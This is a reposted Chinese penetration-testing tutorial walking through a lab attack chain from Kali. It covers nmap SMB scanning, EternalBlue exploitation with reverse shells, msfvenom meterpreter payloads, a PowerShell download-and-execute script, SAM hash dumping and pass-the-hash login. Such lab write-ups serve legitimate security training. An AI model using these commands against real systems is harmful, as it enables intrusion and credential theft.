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kali 渗透测试_started reverse tcp handler on

作者：2023面试高手 | 2024-02-10 01:32:16

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started reverse tcp handler on

利用kali进行渗透测试

0x00摘要

该文章转载自安全小飞侠，在kali下进行渗透测试演示，对于渗透测试的学习和理解非常有借鉴意义。

0x01案列分析

实验环境：

  • 目标靶机：10.11.1.0/24

  • 攻击机：Kali Linux (10.11.0.79)

信息收集：

利用nmap扫描存在smb服务的主机：

# nmap -A -p 139,445 10.11.1.1-254 -oG smb_service.txt
# cat smb_service.txt | grep -i windows | cut -d" " -f2
10.11.1.5
10.11.1.31
10.11.1.49
10.11.1.50
10.11.1.73
10.11.1.128
10.11.1.145
10.11.1.202
10.11.1.218
10.11.1.220
10.11.1.223
10.11.1.227
10.11.1.229
10.11.1.230
# cat smb_service.txt | grep -i open | cut -d" " -f2 > smb_server_all.txt
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扫描存在smb漏洞的主机：

# find / -name smb*vuln*.nse
/usr/share/nmap/scripts/smb-vuln-cve2009-3103.nse
/usr/share/nmap/scripts/smb-vuln-ms06-025.nse
/usr/share/nmap/scripts/smb-vuln-cve-2017-7494.nse
/usr/share/nmap/scripts/smb-vuln-ms07-029.nse
/usr/share/nmap/scripts/smb-vuln-ms17-010.nse
/usr/share/nmap/scripts/smb-vuln-conficker.nse
/usr/share/nmap/scripts/smb-vuln-ms08-067.nse
/usr/share/nmap/scripts/smb-vuln-regsvc-dos.nse
/usr/share/nmap/scripts/smb-vuln-ms10-054.nse
/usr/share/nmap/scripts/smb-vuln-ms10-061.nse
# for vul in $(find / -name smb*vuln*.nse | cut -d"/" -f 6); do nmap -v -p 139,445 --script=$vul -iL smb_server_all.txt -oN smb_vulns_$vul.txt; done
# cat smb_vulns_smb-vuln-*.txt | grep IDs:
|     IDs:  CVE:CVE-2009-3103
|     IDs:  CVE:CVE-2009-3103
|     IDs:  CVE:CVE-2009-3103
|     IDs:  CVE:CVE-2009-3103
|     IDs:  CVE:CVE-2017-0143
|     IDs:  CVE:CVE-2017-0143
|     IDs:  CVE:CVE-2017-0143
|     IDs:  CVE:CVE-2017-0143
|     IDs:  CVE:CVE-2017-0143
|     IDs:  CVE:CVE-2017-0143
|     IDs:  CVE:CVE-2017-0143
|     IDs:  CVE:CVE-2017-0143
|     IDs:  CVE:CVE-2017-0143
|     IDs:  CVE:CVE-2017-0143
|     IDs:  CVE:CVE-2017-0143
|     IDs:  CVE:CVE-2017-0143
|     IDs:  CVE:CVE-2017-0143
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漏洞利用：

检查并验证存在smb ms17-010漏洞的主机： 

# cat ../scripts/smb_vulns_smb-vuln-ms17-010.nse.txt 
# Nmap 7.50 scan initiated Mon Jul  3 13:57:06 2017 as: nmap -v -p 139,445 --script=smb-vuln-ms17-010.nse -iL smb_server_all.txt -oN smb_vulns_smb-vuln-ms17-010.nse.txt
Nmap scan report for 10.11.1.5
Host is up (0.24s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:50:56:89:35:AF (VMware)

Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|       
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

... ...

Nmap scan report for 10.11.1.220
Host is up (0.24s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:50:56:89:15:14 (VMware)

Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|       
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

... ...

Nmap scan report for 10.11.1.230
Host is up (0.25s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:50:56:89:5C:19 (VMware)

Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|       
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Jul  3 13:57:53 2017 -- 19 IP addresses (19 hosts up) scanned in 46.85 seconds
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IP: 10.11.1.5 利用失败 

msf > use exploit/windows/smb/ms17_010_eternalblue  
msf exploit(ms17_010_eternalblue) > show options    

Module options (exploit/windows/smb/ms17_010_eternalblue):                                              

   Name                Current Setting  Required  Description                                           
   ----                ---------------  --------  -----------                                           
   GroomAllocations    12               yes       Initial number of times to groom the kernel pool.     
   GroomDelta          5                yes       The amount to increase the groom count by per try.    
   MaxExploitAttempts  3                yes       The number of times to retry the exploit.             
   ProcessName         spoolsv.exe      yes       Process to inject payload into.                       
   RHOST                                yes       The target address                                    
   RPORT               445              yes       The target port (TCP)                                 
   SMBDomain           .                no        (Optional) The Windows domain to use for authentication
   SMBPass                              no        (Optional) The password for the specified username    
   SMBUser                              no        (Optional) The username to authenticate as            
   VerifyArch          true             yes       Check if remote architecture matches exploit Target.  
   VerifyTarget        true             yes       Check if remote OS matches exploit Target.            


Exploit target:           

   Id  Name               
   --  ----               
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs    
msf exploit(ms17_010_eternalblue) > set RHOST 10.11.1.5
RHOST => 10.11.1.5
msf exploit(ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.11.0.79:4444 
[*] 10.11.1.5:445 - Connecting to target for exploitation.
[+] 10.11.1.5:445 - Connection established for exploitation.
[!] 10.11.1.5:445 - Target OS selected not valid for OS indicated by SMB reply
[!] 10.11.1.5:445 - Disable VerifyTarget option to proceed manually...
[-] 10.11.1.5:445 - Unable to continue with improper OS Target.
[*] Exploit completed, but no session was created.
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IP: 10.11.1.230 同样地，利用失败了 

msf exploit(ms17_010_eternalblue) > set RHOST 10.11.1.230
RHOST => 10.11.1.230
msf exploit(ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.11.0.79:4444 
[*] 10.11.1.230:445 - Connecting to target for exploitation.
[+] 10.11.1.230:445 - Connection established for exploitation.
[+] 10.11.1.230:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.11.1.230:445 - CORE raw buffer dump (25 bytes)
[*] 10.11.1.230:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 10.11.1.230:445 - 0x00000010  74 65 20 4e 20 37 36 30 30                       te N 7600       
[!] 10.11.1.230:445 - Target arch selected not valid for arch indicated by DCE/RPC reply
[!] 10.11.1.230:445 - Disable VerifyArch option to proceed manually...
[-] 10.11.1.230:445 - Unable to continue with improper OS Arch.
[*] Exploit completed, but no session was created.
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IP: 10.11.1.220 成功利用并反弹了一个shell回来 

msf exploit(ms17_010_eternalblue) > set RHOST 10.11.1.220
RHOST => 10.11.1.220
msf exploit(ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.11.0.79:4444 
[*] 10.11.1.220:445 - Connecting to target for exploitation.
[+] 10.11.1.220:445 - Connection established for exploitation.
[+] 10.11.1.220:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.11.1.220:445 - CORE raw buffer dump (51 bytes)
[*] 10.11.1.220:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 10.11.1.220:445 - 0x00000010  30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20  008 R2 Standard 
[*] 10.11.1.220:445 - 0x00000020  37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63  7601 Service Pac
[*] 10.11.1.220:445 - 0x00000030  6b 20 31                                         k 1             
[+] 10.11.1.220:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.11.1.220:445 - Trying exploit with 12 Groom Allocations.
[*] 10.11.1.220:445 - Sending all but last fragment of exploit packet
[*] 10.11.1.220:445 - Starting non-paged pool grooming
[+] 10.11.1.220:445 - Sending SMBv2 buffers
[+] 10.11.1.220:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.11.1.220:445 - Sending final SMBv2 buffers.
[*] 10.11.1.220:445 - Sending last fragment of exploit packet!
[*] 10.11.1.220:445 - Receiving response from exploit packet
[+] 10.11.1.220:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.11.1.220:445 - Sending egg to corrupted connection.
[*] 10.11.1.220:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.11.0.79:4444 -> 10.11.1.220:62009) at 2017-07-04 03:08:40 -0400
[+] 10.11.1.220:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.11.1.220:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.11.1.220:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
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后渗透利用：

在上一步中我们成功地从IP：10.11.1.220上反弹了一个shell回来，但很显然这不是一个完美的交互式的shell且不稳定可靠，那么接下来我们该怎么办呢？首先，我们想到的是获得一个功能更加强大且稳定可靠的meterpreter。

检查目标系统的操作系统版本： 

C:\Windows\system32>dir c:\       
dir c:\
 Volume in drive C has no label.
 Volume Serial Number is A49A-E592

 Directory of c:\

12/27/2013  11:37 PM    <DIR>          Ftp Root
07/13/2009  07:20 PM    <DIR>          PerfLogs
12/28/2013  02:15 AM    <DIR>          Program Files
12/28/2013  10:03 PM    <DIR>          Program Files (x86)
12/27/2013  11:37 PM    <DIR>          temp
08/02/2012  01:59 PM    <DIR>          Users
12/27/2013  11:37 PM    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)  28,860,628,992 bytes free
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显然目标系统是一个64位的Windows server 2008的服务器。

接下来，生成一个64位windows的meterpreter payload： 

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker ip> LPORT=<listen port> -f exe -a x64 --platform win -o mp_64.exe
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注：32位的windows的meterpreter payload：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker ip> LPORT=<listen port> -f exe -a x86 --platform win -o mp_86.exe
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上传meterpreter payload (mp_64.exe) 至攻击机的web目录中(/var/www/html/payload)以便目标机可以通过http链接来下载它。

重新开启一个msfconsole并开启监听。 

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > set LHOST 10.11.0.79
LHOST => 10.11.0.79
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > run

[*] Started reverse TCP handler on 10.11.0.79:8080 
[*] Starting the payload handler..
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利用反弹的shell创建用于下载我们准备好的meterpreter payload的powershell脚本，然后执行脚本下载payload（mp_64.exe）并执行。 

c:\Users\Administrator\Desktop>echo $storageDir=$pwd > wget.ps1
echo $storageDir=$pwd > wget.ps1

c:\Users\Administrator\Desktop>echo $webclient=New-Object System.Net.WebClient >>wget.ps1
echo $webclient=New-Object System.Net.WebClient >>wget.ps1

c:\Users\Administrator\Desktop>echo $url="http://10.11.0.79/payload/mp_64.exe" >>wget.ps1     
echo $url="http://10.11.0.79/payload/mp_64.exe" >>wget.ps1

c:\Users\Administrator\Desktop>echo $file="mp_64.exe" >>wget.ps1
echo $file="mp_64.exe" >>wget.ps1

c:\Users\Administrator\Desktop>echo $webclient.DownloadFile($url,$file) >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1

c:\Users\Administrator\Desktop>type wget.ps1
type wget.ps1
$storageDir=$pwd 
$webclient=New-Object System.Net.WebClient 
$url="http://10.11.0.79/payload/mp_64.exe" 
$file="mp_64.exe" 
$webclient.DownloadFile($url,$file) 

c:\Users\Administrator\Desktop>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1  

c:\Users\Administrator\Desktop>mp_64.exe
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至此，我们成功地获得了一个功能强大的meterpreter，并可以很容易去dump hash为更进一步的渗透做准备。 

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 10.11.0.79:8080 
[*] Starting the payload handler...
[*] Sending stage (1189423 bytes) to 10.11.1.220
[*] Meterpreter session 1 opened (10.11.0.79:8080 -> 10.11.1.220:49326) at 2017-08-09 03:57:36 -0400

meterpreter > help
Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for 'load'
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes
meterpreter > screenshot
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0598acedc0122622ad85afc9e66d329e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bca55919186bf4443840164612ce9f77:::
kevin:1106:aad3b435b51404eeaad3b435b51404ee:aef3d57f355a02297fc386630a01449e:::
robert:1110:aad3b435b51404eeaad3b435b51404ee:0d3f32016ee8a42ba768d558875d57e5:::
avfisher:1120:aad3b435b51404eeaad3b435b51404ee:ef28083240cb79a25adb4290ce6cb67b:::
MASTER$:1000:aad3b435b51404eeaad3b435b51404ee:e0a6ad80117cbe539c459dafc5291f27:::
SLAVE$:1103:aad3b435b51404eeaad3b435b51404ee:789cf984d53d9616fca933d37e974209:::
OBSERVER$:1111:aad3b435b51404eeaad3b435b51404ee:d60552ce7c9dc4fabdf0ba4e5fc46f69:::
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这里写图片描述

补充：

拿到了Hash之后我们就可以进行Pass The Hash攻击了，例如，从上一步我们可以看到Administrator的NTLM Hash是
aad3b435b51404eeaad3b435b51404ee:0598acedc0122622ad85afc9e66d329e因此可以直接利用这个Hash登陆目标机器10.11.1.220: 

# export SMBHASH=aad3b435b51404eeaad3b435b51404ee:0598acedc0122622ad85afc9e66d329e

# pth-winexe -U Administrator% //10.11.1.220 cmd
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
thinc\administrator

C:\Windows\system32>
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0x02 小结

总结一下本案例中的渗透思路：

  1. 利用nmap批量扫描开放smb服务端口的主机
  2. 利用nmap扫描存在smb漏洞的服务主机
  3. 利用ms17-010验证和攻击目标主机并反弹shell
  4. 制作更加稳定可靠的meterpreter payload
  5. 利用powershell脚本下载meterpreter并执行
  6. 获得meterpreter为进一步渗透做准备
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